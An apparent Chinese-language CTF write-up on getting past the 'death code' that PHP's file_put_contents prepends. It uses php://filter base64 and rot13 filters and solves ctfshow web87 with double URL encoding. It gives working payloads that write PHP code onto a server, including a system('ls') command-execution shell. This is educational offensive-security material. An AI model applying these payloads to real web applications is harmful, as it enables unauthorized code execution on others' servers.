该函数的作用是将文件写入字符串中
首先,file_put_content大概有三种情形出现;
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");
思路:将杂糅或者死亡代码分解
这里思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过;
其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;
1.base64绕过
利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别;
$filename='php://filter/convert.base64-decode/resource=s1mple.php'; $content = 'aPD9waHAgcGhwaW5mbygpOz8+';file_put_contents($filename,"<?php exit();".$content);
这里content前加了个a 是因为是因为base64在解码的时候是将4个字节转化为3个字节,
又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化。
2.rot13编码绕过
php://filter/string.rot13/resource=simple.php
<?php phpinfo();>
经过rot13编码后这样:<?cuc cucvasb();?>
ctfshow web87$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);urldecode
----出现该函数
二次url编码,因为第一次编码过去之后自动解码(中间件自动解码),但是他这里还要解码一次
payload:
php://filter/write=convert.base64-encode/resource=1.php 进行两次url加密
content中传入
<?php system('ls');?> 后进行base64加密 中间的phpdie是六位字符
而base64是以四位进行加解密 所以在base64加密后补上aa
正好填充 phpdieaa 对die函数进行消去
标签:解码,base64,content,file,put,php From: https://www.cnblogs.com/heck1ng/p/18069429